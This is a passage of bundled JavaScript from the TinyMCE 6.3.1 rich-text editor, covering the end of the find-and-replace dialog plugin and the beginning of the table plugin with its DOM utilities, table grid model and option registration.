        size: 'normal',
        body: {
          type: 'panel',
          items: [
            {
              type: 'bar',
              items: [
                {
                  type: 'input',
                  name: 'findtext',
                  placeholder: 'Find',
                  maximized: true,
                  inputMode: 'search'
                },
                {
                  type: 'button',
                  name: 'prev',
                  text: 'Previous',
                  icon: 'action-prev',
                  enabled: false,
                  borderless: true
                },
                {
                  type: 'button',
                  name: 'next',
                  text: 'Next',
                  icon: 'action-next',
                  enabled: false,
                  borderless: true
                }
              ]
            },
            {
              type: 'input',
              name: 'replacetext',
              placeholder: 'Replace with',
              inputMode: 'search'
            }
          ]
        },
        buttons: [
          {
            type: 'menu',
            name: 'options',
            icon: 'preferences',
            tooltip: 'Preferences',
            align: 'start',
            items: [
              {
                type: 'togglemenuitem',
                name: 'matchcase',
                text: 'Match case'
              },
              {
                type: 'togglemenuitem',
                name: 'wholewords',
                text: 'Find whole words only'
              },
              {
                type: 'togglemenuitem',
                name: 'inselection',
                text: 'Find in selection'
              }
            ]
          },
          {
            type: 'custom',
            name: 'find',
            text: 'Find',
            primary: true
          },
          {
            type: 'custom',
            name: 'replace',
            text: 'Replace',
            enabled: false
          },
          {
            type: 'custom',
            name: 'replaceall',
            text: 'Replace all',
            enabled: false
          }
        ],
        initialData,
        onChange: (api, details) => {
          if (details.name === 'findtext' && currentSearchState.get().count > 0) {
            reset(api);
          }
        },
        onAction: (api, details) => {
          const data = api.getData();
          switch (details.name) {
          case 'find':
            doFind(api);
            break;
          case 'replace':
            if (!replace(editor, currentSearchState, data.replacetext)) {
              reset(api);
            } else {
              updateButtonStates(api);
            }
            break;
          case 'replaceall':
            replace(editor, currentSearchState, data.replacetext, true, true);
            reset(api);
            break;
          case 'prev':
            prev(editor, currentSearchState);
            updateButtonStates(api);
            break;
          case 'next':
            next(editor, currentSearchState);
            updateButtonStates(api);
            break;
          case 'matchcase':
          case 'wholewords':
          case 'inselection':
            updateSearchState(api);
            reset(api);
            break;
          }
          focusButtonIfRequired(api, details.name);
        },
        onSubmit: api => {
          doFind(api);
          focusButtonIfRequired(api, 'find');
        },
        onClose: () => {
          editor.focus();
          done(editor, currentSearchState);
          editor.undoManager.add();
        }
      };
      dialogApi.set(editor.windowManager.open(spec, { inline: 'toolbar' }));
    };

    const register$1 = (editor, currentSearchState) => {
      editor.addCommand('SearchReplace', () => {
        open(editor, currentSearchState);
      });
    };

    const showDialog = (editor, currentSearchState) => () => {
      open(editor, currentSearchState);
    };
    const register = (editor, currentSearchState) => {
      editor.ui.registry.addMenuItem('searchreplace', {
        text: 'Find and replace...',
        shortcut: 'Meta+F',
        onAction: showDialog(editor, currentSearchState),
        icon: 'search'
      });
      editor.ui.registry.addButton('searchreplace', {
        tooltip: 'Find and replace',
        onAction: showDialog(editor, currentSearchState),
        icon: 'search'
      });
      editor.shortcuts.add('Meta+F', '', showDialog(editor, currentSearchState));
    };

    var Plugin = () => {
      global$3.add('searchreplace', editor => {
        const currentSearchState = Cell({
          index: -1,
          count: 0,
          text: '',
          matchCase: false,
          wholeWord: false,
          inSelection: false
        });
        register$1(editor, currentSearchState);
        register(editor, currentSearchState);
        return get(editor, currentSearchState);
      });
    };

    Plugin();

})();


/***/ }),
/* 27 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "table" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/table')
//   ES2015:
//     import 'tinymce/plugins/table'
__webpack_require__(28);

/***/ }),
/* 28 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global$3 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const eq$1 = t => a => t === a;
    const isString = isType$1('string');
    const isArray = isType$1('array');
    const isBoolean = isSimpleType('boolean');
    const isUndefined = eq$1(undefined);
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');

    const noop = () => {
    };
    const compose1 = (fbc, fab) => a => fbc(fab(a));
    const constant = value => {
      return () => {
        return value;
      };
    };
    const identity = x => {
      return x;
    };
    const tripleEquals = (a, b) => {
      return a === b;
    };
    function curry(fn, ...initialArgs) {
      return (...restArgs) => {
        const all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }
    const call = f => {
      f();
    };
    const never = constant(false);
    const always = constant(true);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const keys = Object.keys;
    const hasOwnProperty = Object.hasOwnProperty;
    const each$1 = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const objAcc = r => (x, i) => {
      r[i] = x;
    };
    const internalFilter = (obj, pred, onTrue, onFalse) => {
      each$1(obj, (x, i) => {
        (pred(x, i) ? onTrue : onFalse)(x, i);
      });
    };
    const filter$1 = (obj, pred) => {
      const t = {};
      internalFilter(obj, pred, objAcc(t), noop);
      return t;
    };
    const mapToArray = (obj, f) => {
      const r = [];
      each$1(obj, (value, name) => {
        r.push(f(value, name));
      });
      return r;
    };
    const values = obj => {
      return mapToArray(obj, identity);
    };
    const size = obj => {
      return keys(obj).length;
    };
    const get$4 = (obj, key) => {
      return has(obj, key) ? Optional.from(obj[key]) : Optional.none();
    };
    const has = (obj, key) => hasOwnProperty.call(obj, key);
    const hasNonNullableKey = (obj, key) => has(obj, key) && obj[key] !== undefined && obj[key] !== null;

    const nativeIndexOf = Array.prototype.indexOf;
    const nativePush = Array.prototype.push;
    const rawIndexOf = (ts, t) => nativeIndexOf.call(ts, t);
    const contains = (xs, x) => rawIndexOf(xs, x) > -1;
    const exists = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    const range = (num, f) => {
      const r = [];
      for (let i = 0; i < num; i++) {
        r.push(f(i));
      }
      return r;
    };
    const map = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const eachr = (xs, f) => {
      for (let i = xs.length - 1; i >= 0; i--) {
        const x = xs[i];
        f(x, i);
      }
    };
    const partition = (xs, pred) => {
      const pass = [];
      const fail = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        const arr = pred(x, i) ? pass : fail;
        arr.push(x);
      }
      return {
        pass,
        fail
      };
    };
    const filter = (xs, pred) => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    const foldr = (xs, f, acc) => {
      eachr(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const foldl = (xs, f, acc) => {
      each(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const findUntil = (xs, pred, until) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(x);
        } else if (until(x, i)) {
          break;
        }
      }
      return Optional.none();
    };
    const find = (xs, pred) => {
      return findUntil(xs, pred, never);
    };
    const flatten$1 = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind = (xs, f) => flatten$1(map(xs, f));
    const forall = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; ++i) {
        const x = xs[i];
        if (pred(x, i) !== true) {
          return false;
        }
      }
      return true;
    };
    const mapToObject = (xs, f) => {
      const r = {};
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        r[String(x)] = f(x, i);
      }
      return r;
    };
    const get$3 = (xs, i) => i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none();
    const head = xs => get$3(xs, 0);
    const last = xs => get$3(xs, xs.length - 1);
    const findMap = (arr, f) => {
      for (let i = 0; i < arr.length; i++) {
        const r = f(arr[i], i);
        if (r.isSome()) {
          return r;
        }
      }
      return Optional.none();
    };

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom$1(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom$1(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom$1(node);
    };
    const fromDom$1 = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom$1);
    const SugarElement = {
      fromHtml,
      fromTag,
      fromText,
      fromDom: fromDom$1,
      fromPoint
    };

    typeof window !== 'undefined' ? window : Function('return this;')();

    const COMMENT = 8;
    const DOCUMENT = 9;
    const DOCUMENT_FRAGMENT = 11;
    const ELEMENT = 1;
    const TEXT = 3;

    const name = element => {
      const r = element.dom.nodeName;
      return r.toLowerCase();
    };
    const type = element => element.dom.nodeType;
    const isType = t => element => type(element) === t;
    const isComment = element => type(element) === COMMENT || name(element) === '#comment';
    const isElement = isType(ELEMENT);
    const isText = isType(TEXT);
    const isDocument = isType(DOCUMENT);
    const isDocumentFragment = isType(DOCUMENT_FRAGMENT);
    const isTag = tag => e => isElement(e) && name(e) === tag;

    const is$2 = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };
    const bypassSelector = dom => dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0;
    const all$1 = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), SugarElement.fromDom);
    };
    const one = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? Optional.none() : Optional.from(base.querySelector(selector)).map(SugarElement.fromDom);
    };

    const eq = (e1, e2) => e1.dom === e2.dom;
    const is$1 = is$2;

    const owner = element => SugarElement.fromDom(element.dom.ownerDocument);
    const documentOrOwner = dos => isDocument(dos) ? dos : owner(dos);
    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const parents = (element, isRoot) => {
      const stop = isFunction(isRoot) ? isRoot : never;
      let dom = element.dom;
      const ret = [];
      while (dom.parentNode !== null && dom.parentNode !== undefined) {
        const rawParent = dom.parentNode;
        const p = SugarElement.fromDom(rawParent);
        ret.push(p);
        if (stop(p) === true) {
          break;
        } else {
          dom = rawParent;
        }
      }
      return ret;
    };
    const prevSibling = element => Optional.from(element.dom.previousSibling).map(SugarElement.fromDom);
    const nextSibling = element => Optional.from(element.dom.nextSibling).map(SugarElement.fromDom);
    const children$3 = element => map(element.dom.childNodes, SugarElement.fromDom);
    const child$3 = (element, index) => {
      const cs = element.dom.childNodes;
      return Optional.from(cs[index]).map(SugarElement.fromDom);
    };
    const firstChild = element => child$3(element, 0);

    const isShadowRoot = dos => isDocumentFragment(dos) && isNonNullable(dos.dom.host);
    const supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode);
    const getRootNode = supported ? e => SugarElement.fromDom(e.dom.getRootNode()) : documentOrOwner;
    const getShadowRoot = e => {
      const r = getRootNode(e);
      return isShadowRoot(r) ? Optional.some(r) : Optional.none();
    };
    const getShadowHost = e => SugarElement.fromDom(e.dom.host);

    const inBody = element => {
      const dom = isText(element) ? element.dom.parentNode : element.dom;
      if (dom === undefined || dom === null || dom.ownerDocument === null) {
        return false;
      }
      const doc = dom.ownerDocument;
      return getShadowRoot(SugarElement.fromDom(dom)).fold(() => doc.body.contains(dom), compose1(inBody, getShadowHost));
    };

    const children$2 = (scope, predicate) => filter(children$3(scope), predicate);
    const descendants$1 = (scope, predicate) => {
      let result = [];
      each(children$3(scope), x => {
        if (predicate(x)) {
          result = result.concat([x]);
        }
        result = result.concat(descendants$1(x, predicate));
      });
      return result;
    };

    const children$1 = (scope, selector) => children$2(scope, e => is$2(e, selector));
    const descendants = (scope, selector) => all$1(selector, scope);

    var ClosestOrAncestor = (is, ancestor, scope, a, isRoot) => {
      if (is(scope, a)) {
        return Optional.some(scope);
      } else if (isFunction(isRoot) && isRoot(scope)) {
        return Optional.none();
      } else {
        return ancestor(scope, a, isRoot);
      }
    };

    const ancestor$1 = (scope, predicate, isRoot) => {
      let element = scope.dom;
      const stop = isFunction(isRoot) ? isRoot : never;
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        if (predicate(el)) {
          return Optional.some(el);
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const child$2 = (scope, predicate) => {
      const pred = node => predicate(SugarElement.fromDom(node));
      const result = find(scope.dom.childNodes, pred);
      return result.map(SugarElement.fromDom);
    };

    const ancestor = (scope, selector, isRoot) => ancestor$1(scope, e => is$2(e, selector), isRoot);
    const child$1 = (scope, selector) => child$2(scope, e => is$2(e, selector));
    const descendant = (scope, selector) => one(selector, scope);
    const closest = (scope, selector, isRoot) => {
      const is = (element, selector) => is$2(element, selector);
      return ClosestOrAncestor(is, ancestor, scope, selector, isRoot);
    };

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set$2 = (element, key, value) => {
      rawSet(element.dom, key, value);
    };
    const setAll = (element, attrs) => {
      const dom = element.dom;
      each$1(attrs, (v, k) => {
        rawSet(dom, k, v);
      });
    };
    const get$2 = (element, key) => {
      const v = element.dom.getAttribute(key);
      return v === null ? undefined : v;
    };
    const getOpt = (element, key) => Optional.from(get$2(element, key));
    const remove$2 = (element, key) => {
      element.dom.removeAttribute(key);
    };
    const clone = element => foldl(element.dom.attributes, (acc, attr) => {
      acc[attr.name] = attr.value;
      return acc;
    }, {});

    const is = (lhs, rhs, comparator = tripleEquals) => lhs.exists(left => comparator(left, rhs));
    const cat = arr => {
      const r = [];
      const push = x => {
        r.push(x);
      };
      for (let i = 0; i < arr.length; i++) {
        arr[i].each(push);
      }
      return r;
    };
    const lift2 = (oa, ob, f) => oa.isSome() && ob.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie())) : Optional.none();
    const flatten = oot => oot.bind(identity);
    const someIf = (b, a) => b ? Optional.some(a) : Optional.none();

    const removeFromStart = (str, numChars) => {
      return str.substring(numChars);
    };

    const checkRange = (str, substr, start) => substr === '' || str.length >= substr.length && str.substr(start, start + substr.length) === substr;
    const removeLeading = (str, prefix) => {
      return startsWith(str, prefix) ? removeFromStart(str, prefix.length) : str;
    };
    const startsWith = (str, prefix) => {
      return checkRange(str, prefix, 0);
    };
    const blank = r => s => s.replace(r, '');
    const trim = blank(/^\s+|\s+$/g);
    const isNotEmpty = s => s.length > 0;
    const isEmpty = s => !isNotEmpty(s);
    const toInt = (value, radix = 10) => {
      const num = parseInt(value, radix);
      return isNaN(num) ? Optional.none() : Optional.some(num);
    };
    const toFloat = value => {
      const num = parseFloat(value);
      return isNaN(num) ? Optional.none() : Optional.some(num);
    };

    const isSupported = dom => dom.style !== undefined && isFunction(dom.style.getPropertyValue);

    const internalSet = (dom, property, value) => {
      if (!isString(value)) {
        console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    const internalRemove = (dom, property) => {
      if (isSupported(dom)) {
        dom.style.removeProperty(property);
      }
    };
    const set$1 = (element, property, value) => {
      const dom = element.dom;
      internalSet(dom, property, value);
    };
    const get$1 = (element, property) => {
      const dom = element.dom;
      const styles = window.getComputedStyle(dom);
      const r = styles.getPropertyValue(property);
      return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r;
    };
    const getUnsafeProperty = (dom, property) => isSupported(dom) ? dom.style.getPropertyValue(property) : '';
    const getRaw = (element, property) => {
      const dom = element.dom;
      const raw = getUnsafeProperty(dom, property);
      return Optional.from(raw).filter(r => r.length > 0);
    };
    const remove$1 = (element, property) => {
      const dom = element.dom;
      internalRemove(dom, property);
      if (is(getOpt(element, 'style').map(trim), '')) {
        remove$2(element, 'style');
      }
    };

    const getAttrValue = (cell, name, fallback = 0) => getOpt(cell, name).map(value => parseInt(value, 10)).getOr(fallback);

    const firstLayer = (scope, selector) => {
      return filterFirstLayer(scope, selector, always);
    };
    const filterFirstLayer = (scope, selector, predicate) => {
      return bind(children$3(scope), x => {
        if (is$2(x, selector)) {
          return predicate(x) ? [x] : [];
        } else {
          return filterFirstLayer(x, selector, predicate);
        }
      });
    };

    const validSectionList = [
      'tfoot',
      'thead',
      'tbody',
      'colgroup'
    ];
    const isValidSection = parentName => contains(validSectionList, parentName);
    const grid = (rows, columns) => ({
      rows,
      columns
    });
    const detail = (element, rowspan, colspan) => ({
      element,
      rowspan,
      colspan
    });
    const extended = (element, rowspan, colspan, row, column, isLocked) => ({
      element,
      rowspan,
      colspan,
      row,
      column,
      isLocked
    });
    const rowdetail = (element, cells, section) => ({
      element,
      cells,
      section
    });
    const bounds = (startRow, startCol, finishRow, finishCol) => ({
      startRow,
      startCol,
      finishRow,
      finishCol
    });
    const columnext = (element, colspan, column) => ({
      element,
      colspan,
      column
    });
    const colgroup = (element, columns) => ({
      element,
      columns
    });

    const lookup = (tags, element, isRoot = never) => {
      if (isRoot(element)) {
        return Optional.none();
      }
      if (contains(tags, name(element))) {
        return Optional.some(element);
      }
      const isRootOrUpperTable = elm => is$2(elm, 'table') || isRoot(elm);
      return ancestor(element, tags.join(','), isRootOrUpperTable);
    };
    const cell = (element, isRoot) => lookup([
      'td',
      'th'
    ], element, isRoot);
    const cells = ancestor => firstLayer(ancestor, 'th,td');
    const columns = ancestor => {
      if (is$2(ancestor, 'colgroup')) {
        return children$1(ancestor, 'col');
      } else {
        return bind(columnGroups(ancestor), columnGroup => children$1(columnGroup, 'col'));
      }
    };
    const table = (element, isRoot) => closest(element, 'table', isRoot);
    const rows = ancestor => firstLayer(ancestor, 'tr');
    const columnGroups = ancestor => table(ancestor).fold(constant([]), table => children$1(table, 'colgroup'));

    const fromRowsOrColGroups = (elems, getSection) => map(elems, row => {
      if (name(row) === 'colgroup') {
        const cells = map(columns(row), column => {
          const colspan = getAttrValue(column, 'span', 1);
          return detail(column, 1, colspan);
        });
        return rowdetail(row, cells, 'colgroup');
      } else {
        const cells$1 = map(cells(row), cell => {
          const rowspan = getAttrValue(cell, 'rowspan', 1);
          const colspan = getAttrValue(cell, 'colspan', 1);
          return detail(cell, rowspan, colspan);
        });
        return rowdetail(row, cells$1, getSection(row));
      }
    });
    const getParentSection = group => parent(group).map(parent => {
      const parentName = name(parent);
      return isValidSection(parentName) ? parentName : 'tbody';
    }).getOr('tbody');
    const fromTable$1 = table => {
      const rows$1 = rows(table);
      const columnGroups$1 = columnGroups(table);
      const elems = [
        ...columnGroups$1,
        ...rows$1
      ];
      return fromRowsOrColGroups(elems, getParentSection);
    };

    const LOCKED_COL_ATTR = 'data-snooker-locked-cols';
    const getLockedColumnsFromTable = table => getOpt(table, LOCKED_COL_ATTR).bind(lockedColStr => Optional.from(lockedColStr.match(/\d+/g))).map(lockedCols => mapToObject(lockedCols, always));

    const key = (row, column) => {
      return row + ',' + column;
    };
    const getAt = (warehouse, row, column) => Optional.from(warehouse.access[key(row, column)]);
    const findItem = (warehouse, item, comparator) => {
      const filtered = filterItems(warehouse, detail => {
        return comparator(item, detail.element);
      });
      return filtered.length > 0 ? Optional.some(filtered[0]) : Optional.none();
    };
    const filterItems = (warehouse, predicate) => {
      const all = bind(warehouse.all, r => {
        return r.cells;
      });
      return filter(all, predicate);
    };
    const generateColumns = rowData => {
      const columnsGroup = {};
      let index = 0;
      each(rowData.cells, column => {
        const colspan = column.colspan;
        range(colspan, columnIndex => {
          const colIndex = index + columnIndex;
          columnsGroup[colIndex] = columnext(column.element, colspan, colIndex);
        });
        index += colspan;
      });
      return columnsGroup;
    };
    const generate$1 = list => {
      const access = {};
      const cells = [];
      const tableOpt = head(list).map(rowData => rowData.element).bind(table);
      const lockedColumns = tableOpt.bind(getLockedColumnsFromTable).getOr({});
      let maxRows = 0;
      let maxColumns = 0;
      let rowCount = 0;
      const {
        pass: colgroupRows,
        fail: rows
      } = partition(list, rowData => rowData.section === 'colgroup');
      each(rows, rowData => {
        const currentRow = [];
        each(rowData.cells, rowCell => {
          let start = 0;
          while (access[key(rowCount, start)] !== undefined) {
            start++;
          }
          const isLocked = hasNonNullableKey(lockedColumns, start.toString());
          const current = extended(rowCell.element, rowCell.rowspan, rowCell.colspan, rowCount, start, isLocked);
          for (let occupiedColumnPosition = 0; occupiedColumnPosition < rowCell.colspan; occupiedColumnPosition++) {
            for (let occupiedRowPosition = 0; occupiedRowPosition < rowCell.rowspan; occupiedRowPosition++) {
              const rowPosition = rowCount + occupiedRowPosition;
              const columnPosition = start + occupiedColumnPosition;
              const newpos = key(rowPosition, columnPosition);
              access[newpos] = current;
              maxColumns = Math.max(maxColumns, columnPosition + 1);
            }
          }
          currentRow.push(current);
        });
        maxRows++;
        cells.push(rowdetail(rowData.element, currentRow, rowData.section));
        rowCount++;
      });
      const {columns, colgroups} = last(colgroupRows).map(rowData => {
        const columns = generateColumns(rowData);
        const colgroup$1 = colgroup(rowData.element, values(columns));
        return {
          colgroups: [colgroup$1],
          columns
        };
      }).getOrThunk(() => ({
        colgroups: [],
        columns: {}
      }));
      const grid$1 = grid(maxRows, maxColumns);
      return {
        grid: grid$1,
        access,
        all: cells,
        columns,
        colgroups
      };
    };
    const fromTable = table => {
      const list = fromTable$1(table);
      return generate$1(list);
    };
    const justCells = warehouse => bind(warehouse.all, w => w.cells);
    const justColumns = warehouse => values(warehouse.columns);
    const hasColumns = warehouse => keys(warehouse.columns).length > 0;
    const getColumnAt = (warehouse, columnIndex) => Optional.from(warehouse.columns[columnIndex]);
    const Warehouse = {
      fromTable,
      generate: generate$1,
      getAt,
      findItem,
      filterItems,
      justCells,
      justColumns,
      hasColumns,
      getColumnAt
    };

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    const getTDTHOverallStyle = (dom, elm, name) => {
      const cells = dom.select('td,th', elm);
      let firstChildStyle;
      for (let i = 0; i < cells.length; i++) {
        const currentStyle = dom.getStyle(cells[i], name);
        if (isUndefined(firstChildStyle)) {
          firstChildStyle = currentStyle;
        }
        if (firstChildStyle !== currentStyle) {
          return '';
        }
      }
      return firstChildStyle;
    };
    const setAlign = (editor, elm, name) => {
      global$2.each('left center right'.split(' '), align => {
        if (align !== name) {
          editor.formatter.remove('align' + align, {}, elm);
        }
      });
      if (name) {
        editor.formatter.apply('align' + name, {}, elm);
      }
    };
    const setVAlign = (editor, elm, name) => {
      global$2.each('top middle bottom'.split(' '), align => {
        if (align !== name) {
          editor.formatter.remove('valign' + align, {}, elm);
        }
      });
      if (name) {
        editor.formatter.apply('valign' + name, {}, elm);
      }
    };

    const fireTableModified = (editor, table, data) => {
      editor.dispatch('TableModified', {
        ...data,
        table
      });
    };

    const toNumber = (px, fallback) => toFloat(px).getOr(fallback);
    const getProp = (element, name, fallback) => toNumber(get$1(element, name), fallback);
    const calcContentBoxSize = (element, size, upper, lower) => {
      const paddingUpper = getProp(element, `padding-${ upper }`, 0);
      const paddingLower = getProp(element, `padding-${ lower }`, 0);
      const borderUpper = getProp(element, `border-${ upper }-width`, 0);
      const borderLower = getProp(element, `border-${ lower }-width`, 0);
      return size - paddingUpper - paddingLower - borderUpper - borderLower;
    };
    const getCalculatedWidth = (element, boxSizing) => {
      const dom = element.dom;
      const width = dom.getBoundingClientRect().width || dom.offsetWidth;
      return boxSizing === 'border-box' ? width : calcContentBoxSize(element, width, 'left', 'right');
    };
    const getInnerWidth = element => getCalculatedWidth(element, 'content-box');

    const getInner = getInnerWidth;

    var global$1 = tinymce.util.Tools.resolve('tinymce.Env');

    const defaultTableToolbar = 'tableprops tabledelete | tableinsertrowbefore tableinsertrowafter tabledeleterow | tableinsertcolbefore tableinsertcolafter tabledeletecol';
    const defaultCellBorderWidths = range(5, i => {
      const size = `${ i + 1 }px`;
      return {
        title: size,
        value: size
      };
    });
    const defaultCellBorderStyles = map([
      'Solid',
      'Dotted',
      'Dashed',
      'Double',
      'Groove',
      'Ridge',
      'Inset',
      'Outset',
      'None',
      'Hidden'
    ], type => {
      return {
        title: type,
        value: type.toLowerCase()
      };
    });
    const defaultWidth = '100%';
    const getPixelForcedWidth = editor => {
      var _a;
      const dom = editor.dom;
      const parentBlock = (_a = dom.getParent(editor.selection.getStart(), dom.isBlock)) !== null && _a !== void 0 ? _a : editor.getBody();
      return getInner(SugarElement.fromDom(parentBlock)) + 'px';
    };
    const determineDefaultStyles = (editor, defaultStyles) => {
      if (isResponsiveForced(editor) || !shouldStyleWithCss(editor)) {
        return defaultStyles;
      } else if (isPixelsForced(editor)) {
        return {
          ...defaultStyles,
          width: getPixelForcedWidth(editor)
        };
      } else {
        return {
          ...defaultStyles,
          width: defaultWidth
        };
      }
    };
    const determineDefaultAttributes = (editor, defaultAttributes) => {
      if (isResponsiveForced(editor) || shouldStyleWithCss(editor)) {
        return defaultAttributes;
      } else if (isPixelsForced(editor)) {
        return {
          ...defaultAttributes,
          width: getPixelForcedWidth(editor)
        };
      } else {
        return {
          ...defaultAttributes,
          width: defaultWidth
        };
      }
    };
    const option = name => editor => editor.options.get(name);
    const register = editor => {
      const registerOption = editor.options.register;
      registerOption('table_border_widths', {
        processor: 'object[]',
        default: defaultCellBorderWidths
      });
      registerOption('table_border_styles', {
        processor: 'object[]',
        default: defaultCellBorderStyles
      });
      registerOption('table_cell_advtab', {
        processor: 'boolean',
        default: true
      });
      registerOption('table_row_advtab', {
        processor: 'boolean',
        default: true
      });
      registerOption('table_advtab', {
        processor: 'boolean',
        default: true
      });
      registerOption('table_appearance_options', {
        processor: 'boolean',
        default: true
      });
      registerOption('table_grid', {
        processor: 'boolean',
        default: !global$1.deviceType.isTouch()
      });
      registerOption('table_cell_class_list', {
        processor: 'object[]',
        default: []
      });
      registerOption('table_row_class_list', {
        processor: 'object[]',
        default: []
      });
      registerOption('table_class_list', {
        processor: 'object[]',
        default: []
      });
      registerOption('table_toolbar', {
        processor: 'string',
        default: defaultTableToolbar
      });
      registerOption('table_background_color_map', {
        processor: 'object[]',
        default: []
      });
      registerOption('table_border_color_map', {
        processor: 'object[]',
        default: []
      });
    };
    const getTableSizingMode = option('table_sizing_mode');
    const getTableBorderWidths = option('table_border_widths');
    const getTableBorderStyles = option('table_border_styles');
    const hasAdvancedCellTab = option('table_cell_advtab');
